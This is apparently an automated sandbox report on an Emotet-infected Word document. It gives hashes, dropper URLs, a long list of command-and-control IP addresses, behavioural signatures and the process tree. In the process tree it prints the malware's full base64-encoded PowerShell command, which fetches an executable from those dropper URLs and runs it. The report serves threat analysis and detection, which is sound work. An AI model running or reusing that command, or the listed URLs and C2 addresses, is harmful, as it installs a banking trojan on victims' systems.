emotet | 8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84

General

Target
emotet_e3_8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84_2020-08-12__073028._doc.doc
Size 228KB
Sample200812-yth2lg15ms
SHA256 8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84
MD5 216975ee103ba78d86520f32beb8915a
SHA1 77f296aa5220fbadfd977add8d5ad01408a37e58
SHA512 119a4ebce2fcbc6862d3244e49b5009d8ba8b90fdc8790af31c001d117e49023b407afdb3ef01a2fcf2692c46e1ab2d23e9c1a20b04f04a1efbd62b37fce6d95
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://dyzy.c8xtt.com/Uploads/12jtbnwh2xk54420382/
exe.dropper
https://ilmazon.com/images/8nYBgh7izrva76988/
exe.dropper
http://utsunomiya.demae.life/ibtql/WLy/
exe.dropper
http://saharfiroozian.com/wp-admin/MWuA/
exe.dropper
https://studentscorner.info/wp-content/P1p8fid651819/

Extracted

Family

emotet

C2

92.24.51.238:80
139.99.157.213:8080
188.166.25.84:8080
81.214.253.80:443
5.79.70.250:8080
41.185.29.128:8080
181.164.110.7:80
177.37.81.212:443
203.153.216.178:7080
178.33.167.120:8080
77.74.78.80:443
37.70.131.107:80
190.164.75.175:80
75.127.14.170:8080
78.188.170.128:80
113.161.148.81:80
105.209.235.113:8080
177.144.130.105:443
81.17.93.134:80
181.134.9.162:80
163.172.107.70:8080
202.5.47.71:80
192.241.220.183:8080
201.235.10.215:80
203.153.216.182:7080
172.105.78.244:8080
139.59.12.63:8080
192.210.217.94:8080
97.104.107.190:80
31.146.61.34:80
107.161.30.122:8080
182.187.139.200:8080
188.251.213.180:443
37.46.129.215:8080
216.75.37.196:8080
176.9.93.82:7080
87.252.100.28:80
74.208.173.91:8080
198.57.203.63:8080
188.0.135.237:80
181.167.35.84:80
185.142.236.163:443
113.160.180.109:80
50.116.78.109:8080
115.165.3.213:80
187.64.128.197:80
78.189.60.109:443
153.220.182.49:80
87.106.231.60:8080
181.113.229.139:443
143.95.101.72:8080
46.32.229.152:8080
179.5.118.12:80
75.139.38.211:80
157.7.164.178:8081
190.55.233.156:80
212.112.113.235:80
185.208.226.142:8080
195.201.56.70:8080
115.78.11.155:80
192.163.221.191:8080
212.156.133.218:80
114.173.201.110:80
91.83.93.103:443
51.38.201.19:7080
46.105.131.68:8080
190.190.15.20:80
182.176.95.147:80
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	892	3956	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2072-12-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet
behavioral2/memory/2072-12-0x00000000005F0000-0x00000000005FC000-memory.dmp	emotet
behavioral2/memory/2804-15-0x0000000000640000-0x000000000064C000-memory.dmp	emotet
behavioral2/memory/2804-15-0x0000000000640000-0x000000000064C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	892	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2072	368.exe
2804	KBDMON.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dxdiag\KBDMON.exe	368.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
892	powersheLL.exe
892	powersheLL.exe
892	powersheLL.exe
2804	KBDMON.exe
2804	KBDMON.exe
2804	KBDMON.exe
2804	KBDMON.exe
2804	KBDMON.exe
2804	KBDMON.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	892	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
2072	368.exe
2072	368.exe
2804	KBDMON.exe
2804	KBDMON.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 2804	2072	368.exe	76
PID 2072 wrote to memory of 2804	2072	368.exe	76
PID 2072 wrote to memory of 2804	2072	368.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8cfc504e0391fcfc21a287355b649c69dfd2745862a466c32f7c8bea96300a84_2020-08-12__073028._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4092

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABIAEkAUwBPAFgAZQB5AGQAPQAnAFMAUgBDAE8AUABkAGkAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQBUAGAAeQBwAFIAYABPAGAAVABPAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAEQAQQBEAEgAbABoAHQAIAA9ACAAJwAzADYAOAAnADsAJABBAFcAWQBLAE4AYgBxAGIAPQAnAFIARwBaAFYAQQBlAGMAcQAnADsAJABYAEwAQgBIAFAAdQBuAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQARABBAEQASABsAGgAdAArACcALgBlAHgAZQAnADsAJABJAE8AWABKAEwAaAB2AG0APQAnAEUATwBXAFUAVgBiAG0AcwAnADsAJABVAFgAQgBaAEMAYgBqAHYAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAEkATQBTAFkAUwBkAGsAZgA9ACcAaAB0AHQAcAA6AC8ALwBkAHkAegB5AC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBVAHAAbABvAGEAZABzAC8AMQAyAGoAdABiAG4AdwBoADIAeABrADUANAA0ADIAMAAzADgAMgAvACoAaAB0AHQAcABzADoALwAvAGkAbABtAGEAegBvAG4ALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AOABuAFkAQgBnAGgANwBpAHoAcgB2AGEANwA2ADkAOAA4AC8AKgBoAHQAdABwADoALwAvAHUAdABzAHUAbgBvAG0AaQB5AGEALgBkAGUAbQBhAGUALgBsAGkAZgBlAC8AaQBiAHQAcQBsAC8AVwBMAHkALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGgAYQByAGYAaQByAG8AbwB6AGkAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAFcAdQBBAC8AKgBoAHQAdABwAHMAOgAvAC8AcwB0AHUAZABlAG4AdABzAGMAbwByAG4AZQByAC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBQADEAcAA4AGYAaQBkADYANQAxADgAMQA5AC8AJwAuACIAcwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAFgARgBNAEcAYwBjAG0APQAnAFMAVwBCAEsATgBuAGkAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBOAEwARABVAG0AagB5ACAAaQBuACAAJABJAE0AUwBZAFMAZABrAGYAKQB7AHQAcgB5AHsAJABVAFgAQgBaAEMAYgBqAHYALgAiAEQAbwBXAG4ATABvAGEAZABGAGAASQBgAGwARQAiACgAJABVAE4ATABEAFUAbQBqAHkALAAgACQAWABMAEIASABQAHUAbgBlACkAOwAkAFgAUgBLAFIAUABiAGMAbAA9ACcAWQBXAEwAWQBJAGkAdAB0ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAWABMAEIASABQAHUAbgBlACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADkANQAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBgAGUAYQBUAGUAIgAoACQAWABMAEIASABQAHUAbgBlACkAOwAkAFYASABVAEcAWgBiAGMAcQA9ACcAVQBBAEoATQBSAGcAcABhACcAOwBiAHIAZQBhAGsAOwAkAFIASABEAEsAVgBwAGUAcAA9ACcAVQBOAFQAUQBUAHQAbwBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMATABLAFAATQBrAGUAcgA9ACcATwBLAFQAUgBUAGgAdABiACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:892

C:\Users\Admin\368.exe
C:\Users\Admin\368.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\SysWOW64\dxdiag\KBDMON.exe
  "C:\Windows\SysWOW64\dxdiag\KBDMON.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/892-7-0x00007FFDC5910000-0x00007FFDC62FC000-memory.dmp

Download

memory/892-9-0x000001F854FE0000-0x000001F854FE1000-memory.dmp

Download

memory/892-8-0x000001F854E30000-0x000001F854E31000-memory.dmp

Download

memory/2072-12-0x00000000005F0000-0x00000000005FC000-memory.dmp

Download

memory/2804-15-0x0000000000640000-0x000000000064C000-memory.dmp

Download

memory/4092-6-0x000001FB1EBC1000-0x000001FB1EBC5000-memory.dmp

Download

memory/4092-5-0x000001FB1E7B0000-0x000001FB1E7B9000-memory.dmp

Download

memory/4092-4-0x000001FB1E7B0000-0x000001FB1E7B9000-memory.dmp

Download

memory/4092-3-0x000001FB1E7B0000-0x000001FB1E7B9000-memory.dmp

Download

memory/4092-2-0x000001FB1E7B0000-0x000001FB1E7B9000-memory.dmp

Download

memory/4092-0-0x00007FFDCD490000-0x00007FFDCDB56000-memory.dmp

Download

memory/4092-1-0x000001FB1E5F6000-0x000001FB1E68F000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads